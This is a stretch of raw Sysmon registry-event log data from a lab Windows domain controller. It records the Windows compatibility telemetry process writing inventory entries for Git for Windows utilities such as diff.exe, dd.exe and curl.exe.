14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\diff3.exe|db0f57bb42b2e275\BinProductVersion(Empty) 13241300x800000000000000036038Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\diff3.exe|db0f57bb42b2e275\LinkDate01/01/1970 00:00:00 13241300x800000000000000036037Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\diff3.exe|db0f57bb42b2e275\Publisher(Empty) 13241300x800000000000000036036Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\diff3.exe|db0f57bb42b2e275\LowerCaseLongPathc:\program files\git\usr\bin\diff3.exe 13241300x800000000000000036035Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\diff.exe|c7ecb5c4d9c537e1\BinProductVersion(Empty) 13241300x800000000000000036034Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\diff.exe|c7ecb5c4d9c537e1\LinkDate01/01/1970 00:00:00 13241300x800000000000000036033Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\diff.exe|c7ecb5c4d9c537e1\Publisher(Empty) 13241300x800000000000000036032Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\diff.exe|c7ecb5c4d9c537e1\LowerCaseLongPathc:\program files\git\usr\bin\diff.exe 13241300x800000000000000036031Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\df.exe|65dd80792ce5f665\BinProductVersion(Empty) 13241300x800000000000000036030Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\df.exe|65dd80792ce5f665\LinkDate01/01/1970 00:00:00 13241300x800000000000000036029Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\df.exe|65dd80792ce5f665\Publisher(Empty) 13241300x800000000000000036028Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.261{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\df.exe|65dd80792ce5f665\LowerCaseLongPathc:\program files\git\usr\bin\df.exe 13241300x800000000000000036027Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dd.exe|d6bffb363596af3e\BinProductVersion(Empty) 13241300x800000000000000036026Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dd.exe|d6bffb363596af3e\LinkDate01/01/1970 00:00:00 13241300x800000000000000036025Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dd.exe|d6bffb363596af3e\Publisher(Empty) 13241300x800000000000000036024Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dd.exe|d6bffb363596af3e\LowerCaseLongPathc:\program files\git\usr\bin\dd.exe 13241300x800000000000000036023Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\date.exe|15400b5e3ba75572\BinProductVersion(Empty) 13241300x800000000000000036022Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\date.exe|15400b5e3ba75572\LinkDate01/01/1970 00:00:00 13241300x800000000000000036021Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\date.exe|15400b5e3ba75572\Publisher(Empty) 13241300x800000000000000036020Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\date.exe|15400b5e3ba75572\LowerCaseLongPathc:\program files\git\usr\bin\date.exe 13241300x800000000000000036019Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dash.exe|d7e7d55ce6ee5457\BinProductVersion(Empty) 13241300x800000000000000036018Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dash.exe|d7e7d55ce6ee5457\LinkDate01/01/1970 00:00:00 13241300x800000000000000036017Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dash.exe|d7e7d55ce6ee5457\Publisher(Empty) 13241300x800000000000000036016Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dash.exe|d7e7d55ce6ee5457\LowerCaseLongPathc:\program files\git\usr\bin\dash.exe 13241300x800000000000000036015Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\d2u.exe|9a42254ebeca6f7a\BinProductVersion(Empty) 13241300x800000000000000036014Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\d2u.exe|9a42254ebeca6f7a\LinkDate01/01/1970 00:00:00 13241300x800000000000000036013Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\d2u.exe|9a42254ebeca6f7a\Publisher(Empty) 13241300x800000000000000036012Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\d2u.exe|9a42254ebeca6f7a\LowerCaseLongPathc:\program files\git\usr\bin\d2u.exe 13241300x800000000000000036011Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\cygwin-console-h|5323f22aa324e252\BinProductVersion(Empty) 13241300x800000000000000036010Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\cygwin-console-h|5323f22aa324e252\LinkDate03/26/2021 22:24:41 13241300x800000000000000036009Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\cygwin-console-h|5323f22aa324e252\Publisher(Empty) 13241300x800000000000000036008Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\cygwin-console-h|5323f22aa324e252\LowerCaseLongPathc:\program files\git\usr\bin\cygwin-console-helper.exe 13241300x800000000000000036007Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\cygpath.exe|89e407d49466bcd8\BinProductVersion(Empty) 13241300x800000000000000036006Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\cygpath.exe|89e407d49466bcd8\LinkDate03/26/2021 22:24:39 13241300x800000000000000036005Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\cygpath.exe|89e407d49466bcd8\Publisher(Empty) 13241300x800000000000000036004Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\cygpath.exe|89e407d49466bcd8\LowerCaseLongPathc:\program files\git\usr\bin\cygpath.exe 13241300x800000000000000036003Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\cygcheck.exe|6a2038f6387fe2d8\BinProductVersion(Empty) 13241300x800000000000000036002Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\cygcheck.exe|6a2038f6387fe2d8\LinkDate03/26/2021 22:24:41 13241300x800000000000000036001Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\cygcheck.exe|6a2038f6387fe2d8\Publisher(Empty) 13241300x800000000000000036000Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\cygcheck.exe|6a2038f6387fe2d8\LowerCaseLongPathc:\program files\git\usr\bin\cygcheck.exe 13241300x800000000000000035999Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\cut.exe|19b3f09ad648b49b\BinProductVersion(Empty) 13241300x800000000000000035998Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\cut.exe|19b3f09ad648b49b\LinkDate01/01/1970 00:00:00 13241300x800000000000000035997Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\cut.exe|19b3f09ad648b49b\Publisher(Empty) 13241300x800000000000000035996Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\cut.exe|19b3f09ad648b49b\LowerCaseLongPathc:\program files\git\usr\bin\cut.exe 13241300x800000000000000035995Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\curl.exe|34ac32e380c639e7\BinProductVersion(Empty) 13241300x800000000000000035994Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\curl.exe|34ac32e380c639e7\LinkDate08/18/2021 09:19:51 13241300x800000000000000035993Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\curl.exe|34ac32e380c639e7\Publisher(Empty) 13241300x800000000000000035992Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\curl.exe|34ac32e380c639e7\LowerCaseLongPathc:\program files\git\mingw64\bin\curl.exe 13241300x800000000000000035991Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\csplit.exe|86edd40dc8e531c1\BinProductVersion(Empty) 13241300x800000000000000035990Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\csplit.exe|86edd40dc8e531c1\LinkDate01/01/1970 00:00:00 13241300x800000000000000035989Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\csplit.exe|86edd40dc8e531c1\Publisher(Empty) 13241300x800000000000000035988Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\csplit.exe|86edd40dc8e531c1\LowerCaseLongPathc:\program files\git\usr\bin\csplit.exe 13241300x800000000000000035987Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\create-shortcut.|7be1e57c6a9b6d74\BinProductVersion(Empty) 13241300x800000000000000035986Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\create-shortcut.|7be1e57c6a9b6d74\LinkDate01/01/1970 00:00:00 13241300x800000000000000035985Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\create-shortcut.|7be1e57c6a9b6d74\Publisher(Empty) 13241300x800000000000000035984Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\create-shortcut.|7be1e57c6a9b6d74\LowerCaseLongPathc:\program files\git\mingw64\bin\create-shortcut.exe 13241300x800000000000000035983Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\cp.exe|a9aa2ba1cc55a1d1\BinProductVersion(Empty) 13241300x800000000000000035982Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\cp.exe|a9aa2ba1cc55a1d1\LinkDate01/01/1970 00:00:00 13241300x800000000000000035981Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\cp.exe|a9aa2ba1cc55a1d1\Publisher(Empty) 13241300x800000000000000035980Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\cp.exe|a9aa2ba1cc55a1d1\LowerCaseLongPathc:\program files\git\usr\bin\cp.exe 13241300x800000000000000035979Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\connect.exe|98a1b69f7698c1b1\BinProductVersion(Empty) 13241300x800000000000000035978Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\connect.exe|98a1b69f7698c1b1\LinkDate01/01/1970 00:00:00 13241300x800000000000000035977Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\connect.exe|98a1b69f7698c1b1\Publisher(Empty) 13241300x800000000000000035976Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\connect.exe|98a1b69f7698c1b1\LowerCaseLongPathc:\program files\git\mingw64\bin\connect.exe 13241300x800000000000000035975Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\compat-bash.exe|2353d7f66f7d8a47\BinProductVersion2.33.0.2 13241300x800000000000000035974Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\compat-bash.exe|2353d7f66f7d8a47\LinkDate08/24/2021 10:09:53 13241300x800000000000000035973Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\compat-bash.exe|2353d7f66f7d8a47\Publisherthe git development community 13241300x800000000000000035972Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\compat-bash.exe|2353d7f66f7d8a47\LowerCaseLongPathc:\program files\git\mingw64\share\git\compat-bash.exe 13241300x800000000000000035971Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\comm.exe|9b9df3e9f04bb630\BinProductVersion(Empty) 13241300x800000000000000035970Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\comm.exe|9b9df3e9f04bb630\LinkDate01/01/1970 00:00:00 13241300x800000000000000035969Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\comm.exe|9b9df3e9f04bb630\Publisher(Empty) 13241300x800000000000000035968Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\comm.exe|9b9df3e9f04bb630\LowerCaseLongPathc:\program files\git\usr\bin\comm.exe 13241300x800000000000000035967Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\column.exe|a0a6e93c07d1168\BinProductVersion(Empty) 13241300x800000000000000035966Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\column.exe|a0a6e93c07d1168\LinkDate01/01/1970 00:00:00 